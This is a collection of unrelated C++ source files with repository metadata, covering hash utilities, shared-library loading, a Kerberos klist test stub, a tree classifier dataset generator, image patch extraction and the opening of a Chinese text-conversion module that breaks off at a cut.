8661628444d42bad716d097bf25835e95407d4d9 | 3,167 | cpp | C++ | utils.cpp | superblocks/superblocks | 920dc78c2dfb4b3cbc5f0f316c1db82e76d083cc | [
"Unlicense"
] | 3 | 2018-09-09T10:05:38.000Z | 2020-11-06T02:11:46.000Z | utils.cpp | superblocks/superblocks | 920dc78c2dfb4b3cbc5f0f316c1db82e76d083cc | [
"Unlicense"
] | null | null | null | utils.cpp | superblocks/superblocks | 920dc78c2dfb4b3cbc5f0f316c1db82e76d083cc | [
"Unlicense"
] | null | null | null | // utils.cpp
// Superblocks - Version 0.4.3
#include "superblocks.hpp"
void Superblocks::timer_start()
{
cstart = clock();
}
float Superblocks::timer_end()
{
cend = clock() - cstart;
return (double)cend / ((double)CLOCKS_PER_SEC);
}
long Superblocks::gethashcutout( int step, const char* hash )
{
if( debug ) {
cout << "gethashcutout: step: " << step << endl;
cout << "gethashcutout: cutout_start: " << cutout_start[step] << endl;
cout << "gethashcutout: cutout_length: " << cutout_length[step] << endl;
}
int hlen = strlen(hash);
if( debug ) { cout << "gethashcutout: srlen(hash): " << hlen << endl; }
if( hlen != hash_length ) {
cout << "gethashcutout: error: hash length not " << hash_length << endl;
return 0;
}
if( debug ) { cout << "gethashcutout: hash: " << hash << endl; }
string hash_string(hash);
if( debug ) { cout << "gethashcutout: hash_string: " << hash_string << endl; }
std::string cseed_str = hash_string.substr( cutout_start[step], cutout_length[step]);
const char* cseed = cseed_str.c_str();
if( debug ) { cout << "gethashcutout: cseed: " << cseed << endl; }
long seed = hex2long(cseed);
if( debug ) { cout << "gethashcutout: return: seed: " << seed << endl; }
return seed;
}
int /*static*/ Superblocks::generateMTRandom(unsigned int s, int range_low, int range_high)
{
if( debug ) {
cout << "generateMTRandom: seed: " << s << endl;
cout << "generateMTRandom: range_low: " << range_low << endl;
cout << "generateMTRandom: range_high: " << range_high << endl;
}
random::mt19937 gen(s);
random::uniform_int_distribution<> dist(range_low, range_high);
int result = dist(gen);
if( debug ) { cout << "generateMTRandom: result: " << result << endl; }
return result;
}
long Superblocks::hex2long(const char* hexString)
{
static const long hextable[] = {
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, // 10-19
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, // 30-39
-1, -1, -1, -1, -1, -1, -1, -1, 0, 1,
2, 3, 4, 5, 6, 7, 8, 9, -1, -1, // 50-59
-1, -1, -1, -1, -1, 10, 11, 12, 13, 14,
15, -1, -1, -1, -1, -1, -1, -1, -1, -1, // 70-79
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, 10, 11, 12, // 90-99
13, 14, 15, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, // 110-109
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, // 130-139
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, // 150-159
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, // 170-179
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, // 190-199
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, // 210-219
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, // 230-239
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1
};
long ret = 0;
while (*hexString && ret >= 0) {
ret = (ret << 4) | hextable[*hexString++];
}
return ret;
}
| 33.336842 | 92 | 0.499526 | superblocks |
86622f15051a83730441d97c719ffce266b272c3 | 4,568 | cpp | C++ | src/type3_AndroidCloud/anbox-master/external/android-emugl/shared/emugl/common/shared_library.cpp | akraino-edge-stack/iec | b01bce6165ef8368a607e17e1f3d4697b79db31b | [
"Apache-2.0"
] | null | null | null | src/type3_AndroidCloud/anbox-master/external/android-emugl/shared/emugl/common/shared_library.cpp | akraino-edge-stack/iec | b01bce6165ef8368a607e17e1f3d4697b79db31b | [
"Apache-2.0"
] | null | null | null | src/type3_AndroidCloud/anbox-master/external/android-emugl/shared/emugl/common/shared_library.cpp | akraino-edge-stack/iec | b01bce6165ef8368a607e17e1f3d4697b79db31b | [
"Apache-2.0"
] | null | null | null | // Copyright (C) 2014 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "emugl/common/shared_library.h"
#include <stddef.h>
#include <string.h>
#include <stdio.h>
#ifndef _WIN32
#include <dlfcn.h>
#include <stdlib.h>
#endif
namespace emugl {
// static
SharedLibrary* SharedLibrary::open(const char* libraryName) {
char error[1];
return open(libraryName, error, sizeof(error));
}
#ifdef _WIN32
// static
SharedLibrary* SharedLibrary::open(const char* libraryName,
char* error,
size_t errorSize) {
HMODULE lib = LoadLibrary(libraryName);
if (lib) {
return new SharedLibrary(lib);
}
if (errorSize == 0) {
return NULL;
}
// Convert error into human-readable message.
DWORD errorCode = ::GetLastError();
LPSTR message = NULL;
size_t messageLen = FormatMessageA(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
errorCode,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPSTR) &message,
0,
NULL);
int ret = snprintf(error, errorSize, "%.*s", (int)messageLen, message);
if (ret < 0 || ret == static_cast<int>(errorSize)) {
// snprintf() on Windows doesn't behave as expected by C99,
// this path is to ensure that the result is always properly
// zero-terminated.
ret = static_cast<int>(errorSize - 1);
error[ret] = '\0';
}
// Remove any trailing \r\n added by FormatMessage
if (ret > 0 && error[ret - 1] == '\n') {
error[--ret] = '\0';
}
if (ret > 0 && error[ret - 1] == '\r') {
error[--ret] = '\0';
}
return NULL;
}
SharedLibrary::SharedLibrary(HandleType lib) : mLib(lib) {}
SharedLibrary::~SharedLibrary() {
if (mLib) {
FreeLibrary(mLib);
}
}
SharedLibrary::FunctionPtr SharedLibrary::findSymbol(
const char* symbolName) const {
if (!mLib || !symbolName) {
return NULL;
}
return reinterpret_cast<FunctionPtr>(
GetProcAddress(mLib, symbolName));
}
#else // !_WIN32
// static
SharedLibrary* SharedLibrary::open(const char* libraryName,
char* error,
size_t errorSize) {
const char* libPath = libraryName;
char* path = NULL;
const char* libBaseName = strrchr(libraryName, '/');
if (!libBaseName) {
libBaseName = libraryName;
}
if (!strchr(libBaseName, '.')) {
// There is no extension in this library name, so append one.
#ifdef __APPLE__
static const char kDllExtension[] = ".dylib";
#else
static const char kDllExtension[] = ".so";
#endif
size_t pathLen = strlen(libraryName) + sizeof(kDllExtension);
path = static_cast<char*>(malloc(pathLen));
snprintf(path, pathLen, "%s%s", libraryName, kDllExtension);
libPath = path;
}
dlerror(); // clear error.
#ifdef __APPLE__
// On OSX, some libraries don't include an extension (notably OpenGL)
// On OSX we try to open |libraryName| first. If that doesn't exist,
// we try |libraryName|.dylib
void* lib = dlopen(libraryName, RTLD_NOW);
if (lib == NULL) {
lib = dlopen(libPath, RTLD_NOW);
}
#else
void* lib = dlopen(libPath, RTLD_NOW);
#endif
if (path) {
free(path);
}
if (lib) {
return new SharedLibrary(lib);
}
snprintf(error, errorSize, "%s", dlerror());
return NULL;
}
SharedLibrary::SharedLibrary(HandleType lib) : mLib(lib) {}
SharedLibrary::~SharedLibrary() {
if (mLib) {
dlclose(mLib);
}
}
SharedLibrary::FunctionPtr SharedLibrary::findSymbol(
const char* symbolName) const {
if (!mLib || !symbolName) {
return NULL;
}
return reinterpret_cast<FunctionPtr>(dlsym(mLib, symbolName));
}
#endif // !_WIN32
} // namespace emugl
| 26.870588 | 75 | 0.611208 | akraino-edge-stack |
8664ce1e29abacadb672d9a3ff9abee20664f8a2 | 4,194 | cc | C++ | authpolicy/stub_klist_main.cc | Toromino/chromiumos-platform2 | 97e6ba18f0e5ab6723f3448a66f82c1a07538d87 | [
"BSD-3-Clause"
] | null | null | null | authpolicy/stub_klist_main.cc | Toromino/chromiumos-platform2 | 97e6ba18f0e5ab6723f3448a66f82c1a07538d87 | [
"BSD-3-Clause"
] | null | null | null | authpolicy/stub_klist_main.cc | Toromino/chromiumos-platform2 | 97e6ba18f0e5ab6723f3448a66f82c1a07538d87 | [
"BSD-3-Clause"
] | null | null | null | // Copyright 2017 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Stub implementation of klist. Simply returns fixed responses to predefined
// input.
#include <string>
#include <base/check.h>
#include <base/files/file_path.h>
#include <base/files/file_util.h>
#include <base/notreached.h>
#include <base/strings/stringprintf.h>
#include "authpolicy/samba_helper.h"
#include "authpolicy/stub_common.h"
namespace authpolicy {
namespace {
const int kExitCodeTgtValid = 0;
const int kExitCodeTgtInvalid = 1;
const time_t kTenHours = 3600 * 10;
const time_t kSevenDays = 3600 * 24 * 7;
const char kDefaultKrb5CCPath[] = "/tmp/krb5cc_0";
const char kNoCredentialsCacheErrorFormat[] =
"klist: No credentials cache found (filename: %s)";
// Stub klist result format. Times to be filled in.
const char kStubListFormat[] = R"!!!(Ticket cache: FILE:/krb5cc
Default principal: TESTCOMP$@EXAMPLE.COM
Valid starting Expires Service principal
%s %s krbtgt/EXAMPLE.COM@EXAMPLE.COM
renew until %s
%s %s ldap/server.example.com@EXAMPLE.COM
renew until %s
)!!!";
// Formats |time_epoch| (e.g. from time()) as "mm/dd/yy HH:MM:SS".
std::string FormatDateTime(time_t time_epoch) {
char buffer[64] = {};
struct tm tm;
localtime_r(&time_epoch, &tm);
CHECK(strftime(buffer, sizeof(buffer), "%m/%d/%y %H:%M:%S", &tm));
return buffer;
}
// Fills in the times for kStubListFormat.
std::string FormatStubList(time_t valid_from,
time_t expires,
time_t renew_until) {
const std::string valid_from_str = FormatDateTime(valid_from);
const std::string expires_str = FormatDateTime(expires);
const std::string renew_until_str = FormatDateTime(renew_until);
return base::StringPrintf(kStubListFormat, valid_from_str.c_str(),
expires_str.c_str(), renew_until_str.c_str(),
valid_from_str.c_str(), expires_str.c_str(),
renew_until_str.c_str());
}
// Returns a stub klist result with valid tickets.
std::string GetValidStubList() {
// Note: The base/time.h methods cause a seccomp failure here.
time_t now = time(NULL);
return FormatStubList(now, now + kTenHours, now + kSevenDays);
}
// Reads the Kerberos credentials cache from the file path given by the
// kKrb5CCEnvKey environment variable. Returns an empty string on error.
std::string ReadKrb5CC(const std::string& krb5cc_path) {
std::string data;
if (!base::ReadFileToString(base::FilePath(krb5cc_path), &data))
data.clear();
return data;
}
int HandleCommandLine(const std::string& command_line,
const std::string& krb5cc_path) {
const std::string krb5cc_data = ReadKrb5CC(krb5cc_path);
if (krb5cc_data.empty()) {
const std::string no_credentials_cache_error =
base::StringPrintf(kNoCredentialsCacheErrorFormat, krb5cc_path.c_str());
WriteOutput("", no_credentials_cache_error);
return kExitCodeError;
}
// klist -s just returns 0 if the TGT is valid and 1 otherwise.
if (Contains(command_line, "-s")) {
if (krb5cc_data == kValidKrb5CCData)
return kExitCodeTgtValid;
else if (krb5cc_data == kExpiredKrb5CCData)
return kExitCodeTgtInvalid;
else
NOTREACHED() << "UNHANDLED KRB5CC DATA " << krb5cc_data;
}
if (krb5cc_data == kValidKrb5CCData) {
WriteOutput(GetValidStubList(), "");
return kExitCodeOk;
} else if (krb5cc_data == kExpiredKrb5CCData) {
NOTREACHED() << "klist -s should have prevented this code path";
}
NOTREACHED() << "UNHANDLED KRB5CC DATA " << krb5cc_data;
return kExitCodeError;
}
} // namespace
} // namespace authpolicy
int main(int argc, const char* const* argv) {
// Find Kerberos credentials cache path ("-c" argument).
std::string krb5cc_path = authpolicy::GetArgValue(argc, argv, "-c");
if (krb5cc_path.empty())
krb5cc_path = authpolicy::kDefaultKrb5CCPath;
std::string command_line = authpolicy::GetCommandLine(argc, argv);
return authpolicy::HandleCommandLine(command_line, krb5cc_path);
}
| 33.822581 | 80 | 0.696471 | Toromino |
866951790007f866e2b473c353770ca3229cd397 | 11,156 | cpp | C++ | tree_classifier.cpp | zakimjz/TreeGen | b32ecf81bcb94eb65dcbe4ebb5f2e92f8df4489b | [
"Apache-2.0"
] | 2 | 2020-08-05T02:06:06.000Z | 2021-09-06T20:04:18.000Z | tree_classifier.cpp | zakimjz/TreeGen | b32ecf81bcb94eb65dcbe4ebb5f2e92f8df4489b | [
"Apache-2.0"
] | null | null | null | tree_classifier.cpp | zakimjz/TreeGen | b32ecf81bcb94eb65dcbe4ebb5f2e92f8df4489b | [
"Apache-2.0"
] | null | null | null | //USAGE: a.out <pattern_file> <data_file>
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <fstream>
#include <strstream>
#include <iterator>
#include <vector>
#include <stack>
#include <algorithm>
//#include <algo.h>
//#include <cstdlib>
#include <ext/numeric>
#include <unistd.h>
#include "dist.h"
using namespace std;
#define BranchIt -1 //-1 indicates a branch in the tree
long ranseed = -1111;
//four possible values of a comparison
enum comp_vals {equals, subset, superset, notequal};
int defaultvalue;
char test[100];
char train[100];
char dbname[100];
char pname[100];
double pool_test_ratio=1.0, db_test_ratio=0.5;
double pool_train_ratio=1.0, db_train_ratio=0.5;
double pool_common_ratio=0.0;
//add itemsets to other class to confuse itemset classifier
bool add_itemsets=false;
bool add_itemsets_y=false;
double add_iset_prob=1.0; //how many cases to add
//structure to store frequent subtrees with sup and ratio info for two classes
class FreqIt: public vector<int>{
public:
void print(ostream &out=cout, bool printvl=false){
int i;
out << (*this)[0];
for (i=1 ; i < size(); ++i){
out << " " << (*this)[i];
}
if (printvl) out << " -- " << valid_last_pos;
out << endl;
}
int &vlpos(){ return valid_last_pos;}
private:
int valid_last_pos; //ignore -1's in the end
};
typedef vector<FreqIt *> FreqAry;
FreqAry dbtrees;
FreqAry pool;
FreqAry testpool, trainpool;
bool count_unique=true;
double Get_Random_Number()
{
static UniformDist ud;
double udv = ud();
//cout << "RAN " << udv << endl;
return(udv);
}
void read_trees(const char *ffile, FreqAry &ary)
{
const int lineSize=8192;
const int wdSize=256;
FreqIt *fit;
char inBuf[lineSize];
char inStr[wdSize];
int inSize;
ifstream fin(ffile, ios::in);
if (!fin){
cout << "cannot open freq seq file " << ffile << endl << flush;
exit(-1);
}
bool skipfile = false;
while(fin.getline(inBuf, lineSize)){
inSize = fin.gcount();
int it;
istrstream ist(inBuf, inSize);
fit = new FreqIt;
ist >> inStr; //skip cid
ist >> inStr; //skip tid
ist >> inStr; //skip nitems
while(ist >> inStr){
it = atoi(inStr);
fit->push_back(it);
}
int i = fit->size()-1;
while ((*fit)[i] == BranchIt) --i;
fit->vlpos() = i+1; //set the last valid item (other than -1)
ary.push_back(fit);
//fit->print(cout,true);
}
fin.close();
}
void check_subtree(FreqIt &fit, FreqIt &fit2,
int tpos, int ppos, int tscope,
stack<int> &stk, bool &foundflg)
{
int i;
int scope, ttscope;
stack<int> tstk;
scope = tscope;
bool skip = false;
if (fit[ppos] == BranchIt){
skip = true;
while(fit[ppos] == BranchIt){
tstk.push(stk.top());
stk.pop();
ppos++;
}
tscope = tstk.top();
}
while (skip && scope >= tscope && tpos < fit2.vlpos()){
if (fit2[tpos] == BranchIt) scope--;
else scope++;
tpos++;
}
if (skip) tscope = stk.top();
for (i=tpos; i < fit2.vlpos() && !foundflg; i++){
if (fit2[i] == BranchIt) scope--;
else scope++;
if (scope < tscope) break;
if (fit2[i] == fit[ppos]){
stk.push(scope);
//for (int d = 0; d < stk.size(); d++) cout << "\t";
if (ppos == fit.vlpos()-1){
//cout << ppos << " found at " << i << " " << scope << endl;
//fit.dbsup++;
foundflg = true;
}
else{
//cout << ppos << " recurse at " << i << " " << scope << endl;
check_subtree(fit, fit2, i+1, ppos+1, scope, stk, foundflg);
}
stk.pop();
}
}
while(!tstk.empty()){
stk.push(tstk.top());
tstk.pop();
}
}
comp_vals compare(FreqIt &fit1, FreqIt &fit2)
{
stack<int> stk;
bool foundflg = false;
comp_vals res = notequal;
if (fit1.vlpos() <= fit2.vlpos()){
check_subtree(fit1, fit2, 0, 0, 0, stk, foundflg);
//cout << "came here " << fit1.vlpos() << " " << fit2.vlpos() << endl;
if (foundflg){
if (fit1.vlpos() == fit2.vlpos()) res = equals;
else res = subset;
}
else res = notequal;
}
else{
check_subtree(fit2, fit1, 0, 0, 0, stk, foundflg);
if (foundflg) res = superset;
else res = notequal;
}
return res;
}
//uses globals: I:pool, O:trainpool, testpool
void split_pool()
{
int i;
int commonsize = (int)(pool_common_ratio*pool.size());
int trainsize = (int)(pool_train_ratio*pool.size());
int testsize = (int)(pool_test_ratio*pool.size());
int deltatrain = trainsize - commonsize;
int deltatest = testsize - commonsize;
vector<int>posary(pool.size());
//create common and train pool
iota(posary.begin(), posary.end(), 0); //assigns succesive vals to posary
//for (i=0; i < pool.size(); ++i) posary.push_back(i);
//randomly shuffle trainsize instances
for (i=0; i < commonsize+deltatrain+deltatest; ++i){
int rpos = (int) (Get_Random_Number()*pool.size());
int temp = posary[i];
posary[i] = posary[rpos];
posary[rpos] = temp;
}
sort(&posary[0], &posary[commonsize]);
if (commonsize > 0){
cout << "COMMON POOL ";
for (i=0; i < commonsize; ++i){
cout << posary[i] << " ";
trainpool.push_back(pool[posary[i]]);
testpool.push_back(pool[posary[i]]);
}
cout << endl;
}
sort(&posary[commonsize], &posary[commonsize+deltatrain]);
//populate trainpool
cout << "ADD TO TRAINPOOL ";
for (i=commonsize; i < trainsize; ++i){
cout << posary[i] << " ";
trainpool.push_back(pool[posary[i]]);
}
cout << endl;
sort(&posary[commonsize+deltatrain], &posary[commonsize+deltatrain+deltatest]);
//populate testpool
cout << "ADD TO TESTPOOL ";
for (i=trainsize; i < trainsize+deltatest; ++i){
cout << " " << posary[i];
testpool.push_back(pool[posary[i]]);
}
cout << endl;
}
void print_itemset(FreqIt &tree, ofstream &out, int &cnt, int lbl)
{
vector<int>::iterator upos;
vector<int> iset(tree.size());
upos = remove_copy(tree.begin(), tree.end(), iset.begin(), BranchIt);
sort(iset.begin(), upos);
upos = unique(iset.begin(), upos);
int nsz = upos-iset.begin();
nsz = 2*nsz-1;
fill(upos, iset.begin()+nsz, BranchIt);
//cout << "DONE ";
//copy(iset.begin(), iset.end(), ostream_iterator<int>(cout, " "));
//cout << "\nXXX ";
//tree.print(cout);
out << lbl << " " << cnt << " " << cnt << " " << nsz << " ";
copy(iset.begin(), iset.begin()+(nsz-1), ostream_iterator<int>(out, " "));
out << iset[nsz-1] << endl;
++cnt;
}
void output_db(ofstream &out, FreqAry &poolary,
int stpos, int endpos, vector<int> &posary)
{
const int xlbl=0, ylbl=1;
int i,j,k;
int cnt=0;
bool flag;
//the first trainsize trans go to training set
for (i=stpos; i < endpos; ++i){
k = posary[i];
flag = false;
for(j=0; j < poolary.size() && !flag; ++j){
//compare pat1 vs pat2
comp_vals cv = compare (*dbtrees[k], *poolary[j]);
switch (cv){
case equals:
case superset:
flag=true;
break;
case notequal:
case subset:
break;
}
}
//if dbtree is equal or superset of pool then class is X
//none of pool tree matches so class is Y
if (flag){
out << xlbl << " " << cnt << " " << cnt
<< " " << dbtrees[k]->size() << " ";
dbtrees[k]->print(out);
++cnt;
if (add_itemsets){
//add itemsets only to other class
if (Get_Random_Number() < add_iset_prob)
print_itemset(*dbtrees[k], out, cnt, ylbl); //add to Y
}
}
else{
out << ylbl << " " << cnt << " " << cnt
<< " " << dbtrees[k]->size() << " ";
dbtrees[k]->print(out);
++cnt;
if (add_itemsets_y){
if (Get_Random_Number() < add_iset_prob)
print_itemset(*dbtrees[k], out, cnt, xlbl); //add to X
}
}
}
}
void separatefiles()
{
ofstream trainout, testout; //train & test out
trainout.open(train, ios::out);
testout.open(test, ios::out);
//shuffle the dbtrees
int i;
vector<int>posary(dbtrees.size());
iota(posary.begin(), posary.end(), 0); //assigns succesive vals to posary
//for (i=0; i < dbtrees.size(); ++i){
// int rpos = (int) (Get_Random_Number()*dbtrees.size());
// int temp = posary[i];
// posary[i] = posary[rpos];
// posary[rpos] = temp;
//}
int trainsize = (int)(db_train_ratio*dbtrees.size());
//output training db
output_db(trainout, trainpool, 0, trainsize, posary);
//output testing db
output_db(testout, testpool, trainsize, dbtrees.size(), posary);
trainout.close();
testout.close();
}
void parse_args(int argc, char **argv)
{
extern char * optarg;
int c;
if (argc < 3){
cerr << "usage: -d dbfile -o outfilename -p poolfile ";
cout << "-r db_train_ratio (0.5) -s randseed ";
cout << "-t pool_train_ratio (1.0) -T pool_test_ratio (1.0) ";
cout << "-x add_iset_prob -y addytox\n";
exit(-1);
}
else{
while ((c=getopt(argc,argv,"c:d:o:p:r:s:t:T:x:y"))!=-1){
switch(c){
case 'c':
pool_common_ratio = atof(optarg);
break;
case 'd':
sprintf (dbname, "%s.data", optarg);
break;
case 'o':
//output files for X and Y classes
sprintf(test, "%s.train.asc", optarg);
sprintf(train, "%s.test.asc", optarg);
break;
case 'p':
//pool file
sprintf (pname, "%s.data", optarg);
break;
case 'r':
db_train_ratio = atof(optarg);
db_test_ratio = 1-db_train_ratio;
break;
case 's':
ranseed = atol(optarg);
break;
case 't':
pool_train_ratio = atof(optarg);
break;
case 'T':
pool_test_ratio = atof(optarg);
break;
case 'x':
add_itemsets = true;
add_iset_prob = atof(optarg);
break;
case 'y':
add_itemsets_y = true;
break;
}
}
}
if ((pool_common_ratio+(pool_train_ratio-pool_common_ratio)+
(pool_test_ratio-pool_common_ratio)) > 1){
cout << "ERROR in pool sizes\n";
exit(-1);
}
}
int main(int argc, char **argv)
{
parse_args(argc,argv);
RandSeed::set_seed(ranseed);
//read trees to be classified
read_trees (dbname,dbtrees);
//read pool for class X
read_trees (pname, pool);
//compare all pairs of pats, create train and test sets
split_pool();
separatefiles();
exit(0);
}
| 25.297052 | 82 | 0.544909 | zakimjz |
866de3a8c64dc4d79bdfe21bc61a547ba9b7638f | 4,820 | cpp | C++ | src/util/Segmentation.cpp | je310/Card1 | 736671104e46aaf89ddf41cd825d6be24297a464 | [
"BSD-3-Clause"
] | 141 | 2015-02-20T18:44:53.000Z | 2022-01-06T09:33:05.000Z | src/util/Segmentation.cpp | je310/Card1 | 736671104e46aaf89ddf41cd825d6be24297a464 | [
"BSD-3-Clause"
] | 29 | 2015-02-23T10:05:10.000Z | 2019-04-25T03:55:09.000Z | src/util/Segmentation.cpp | je310/Card1 | 736671104e46aaf89ddf41cd825d6be24297a464 | [
"BSD-3-Clause"
] | 54 | 2015-02-23T00:22:53.000Z | 2022-01-06T09:33:07.000Z | /*
* This file is part of the CN24 semantic segmentation software,
* copyright (C) 2015 Clemens-Alexander Brust (ikosa dot de at gmail dot com).
*
* For licensing information, see the LICENSE file included with this project.
*/
#include <cstring>
#include <cmath>
#include "Segmentation.h"
#include <cstdlib>
namespace Conv {
void Segmentation::ExtractPatches (const int patchsize_x,
const int patchsize_y,
Tensor& target,
Tensor& helper,
const Tensor& source,
const int source_sample,
bool substract_mean) {
int image_width = source.width();
int image_height = source.height();
unsigned int image_maps = source.maps();
// new version
unsigned int npatches = image_width * image_height;
int offsetx = (patchsize_x / 2);
int offsety = (patchsize_y / 2);
target.Resize (npatches, patchsize_x, patchsize_y, image_maps);
helper.Resize (npatches, 2);
for (int px = 0; px < image_width; px++) {
for (int py = 0; py < image_height; py++) {
unsigned int element = image_width * py + px;
for (int ipy = 0; ipy < patchsize_y; ipy++) {
int image_y = py + ipy - offsety;
if (image_y < 0)
image_y = -image_y;
if (image_y >= image_height)
image_y = -1 + image_height + image_height - image_y;
for (int ipx = 0; ipx < patchsize_x; ipx++) {
int image_x = px + ipx - offsetx;
if (image_x < 0)
image_x = -image_x;
if (image_x >= image_width)
image_x = -1 + image_width + image_width - image_x;
// Copy pixel
for (unsigned int map = 0; map < image_maps; map++) {
const datum pixel =
*source.data_ptr_const (image_x, image_y, map, source_sample);
*target.data_ptr (ipx, ipy, map, element) = pixel;
}
}
}
// Copy helper data
helper[2 * element] =
fmax (0.0, fmin (image_height - (patchsize_y - 1), py - offsety)) / image_height;
helper[2 * element + 1] =
fmax (0.0, fmin (image_width - (patchsize_x - 1), px - offsetx)) / image_width;
}
}
// FIXME make this configurable: KITTI needs it, LMF does not
/* for (unsigned int e = 0; e < target.elements(); e++) {
target[e] -= 0.5;
target[e] *= 2.0;
}*/
if (substract_mean) {
const unsigned int elements_per_sample = patchsize_x * patchsize_y * image_maps;
// substract mean
for (unsigned int sample = 0; sample < target.samples(); sample++) {
// Add up elements
datum sum = 0;
for (unsigned int e = 0; e < elements_per_sample; e++) {
sum += target[sample * elements_per_sample + e];
}
// Calculate mean
const datum mean = sum / (datum) elements_per_sample;
// Substract mean
for (unsigned int e = 0; e < elements_per_sample; e++) {
target[sample * elements_per_sample + e] -= mean;
}
}
}
}
void Segmentation::ExtractLabels (const int patchsize_x,
const int patchsize_y,
Tensor& labels, Tensor& weight,
const Tensor& source,
const int source_sample,
const int ignore_class) {
int image_width = source.width();
int image_height = source.height();
// new version
unsigned int npatches = image_width * image_height;
int offsetx = (patchsize_x / 2);
int offsety = (patchsize_y / 2);
labels.Resize (npatches, 1, 1, 1);
weight.Resize (npatches);
for (int px = 0; px < image_width; px++) {
for (int py = 0; py < image_height; py++) {
unsigned int element = image_width * py + px;
const int ipy = (patchsize_y / 2) + 1;
int image_y = py + ipy - offsety;
if (image_y < 0)
image_y = -image_y;
if (image_y >= image_height)
image_y = -1 + image_height + image_height - image_y;
int ipx = (patchsize_x / 2) + 1;
int image_x = px + ipx - offsetx;
if (image_x < 0)
image_x = -image_x;
if (image_x >= image_width)
image_x = -1 + image_width + image_width - image_x;
// Copy pixel
const duint nlabel = * ( (duint*) source.data_ptr_const (image_x, image_y, 0,
source_sample));
*labels.data_ptr (0, 0, 0, element) =
*source.data_ptr_const (image_x, image_y, 0, source_sample);
// Assign weight
if (nlabel != ignore_class)
*weight.data_ptr (0, 0, 0, element) = 1.0;
else
*weight.data_ptr (0, 0, 0, element) = 0.0;
}
}
}
} | 32.348993 | 89 | 0.553734 | je310 |
866e51c742ac5e876ff5cc82e46a96e2445086e8 | 11,764 | cpp | C++ | src/trans.cpp | Elaina-Alex/kepub | 306ecfacf01680d0baaed7505d74baa7cc8c41d3 | [
"MIT"
] | null | null | null | src/trans.cpp | Elaina-Alex/kepub | 306ecfacf01680d0baaed7505d74baa7cc8c41d3 | [
"MIT"
] | null | null | null | src/trans.cpp | Elaina-Alex/kepub | 306ecfacf01680d0baaed7505d74baa7cc8c41d3 | [
"MIT"
] | null | null | null | #include "trans.h"
#include <klib/unicode.h>
#include <klib/util.h>
#include <opencc.h>
#include <parallel_hashmap/phmap.h>
#include <boost/algorithm/string.hpp>
extern char tw2s[];
extern int tw2s_size;
extern char TSPhrases[];
extern int TSPhrases_size;
extern char TWVariantsRevPhrases[];
extern int TWVariantsRevPhrases_size;
extern char TWVariantsRev[];
extern int TWVariantsRev_size;
extern char TSCharacters[];
extern int TSCharacters_size;
namespace kepub {
namespace {
class Converter {
public:
Converter() {
klib::write_file("/tmp/tw2s.json", false, tw2s, tw2s_size);
klib::write_file("/tmp/TSPhrases.ocd2", true, TSPhrases, TSPhrases_size);
klib::write_file("/tmp/TWVariantsRevPhrases.ocd2", true,
TWVariantsRevPhrases, TWVariantsRevPhrases_size);
klib::write_file("/tmp/TWVariantsRev.ocd2", true, TWVariantsRev,
TWVariantsRev_size);
klib::write_file("/tmp/TSCharacters.ocd2", true, TSCharacters,
TSCharacters_size);
}
[[nodiscard]] std::string convert(const std::string &str) const {
const static opencc::SimpleConverter converter("/tmp/tw2s.json");
return converter.Convert(str);
}
};
std::u32string custom_trans(const std::u32string &str, bool translation) {
std::u32string result;
result.reserve(std::size(str));
constexpr auto space = U' ';
for (const auto code_point : str) {
if (
// https://en.wikipedia.org/wiki/Zero-width_space
code_point == U'\u200B' ||
// https://en.wikipedia.org/wiki/Zero-width_non-joiner
code_point == U'\u200C' ||
// https://en.wikipedia.org/wiki/Zero-width_joiner
code_point == U'\u200D' ||
// https://en.wikipedia.org/wiki/Word_joiner
code_point == U'\u2060' || code_point == U'\uFEFF' ||
klib::is_control(code_point)) [[unlikely]] {
continue;
}
if (klib::is_whitespace(code_point)) {
if (!std::empty(result) && !klib::is_chinese_punctuation(result.back())) {
result.push_back(space);
}
} else if (klib::is_chinese_punctuation(code_point) ||
klib::is_english_punctuation(code_point)) {
if (!std::empty(result) && result.back() == space) [[unlikely]] {
result.pop_back();
}
if (code_point == U'?') {
result.push_back(U'?');
} else if (code_point == U'!') {
result.push_back(U'!');
} else if (code_point == U',') {
result.push_back(U',');
} else if (code_point == U':') {
result.push_back(U':');
} else if (code_point == U';') {
// https://zh.wikipedia.org/wiki/%E4%B8%8D%E6%8D%A2%E8%A1%8C%E7%A9%BA%E6%A0%BC
if (result.ends_with(U" ")) [[unlikely]] {
boost::erase_tail(result, 5);
result.push_back(U' ');
} // https://pugixml.org/docs/manual.html#loading.options
else if (result.ends_with(U"<")) [[unlikely]] {
boost::erase_tail(result, 3);
result.push_back(U'<');
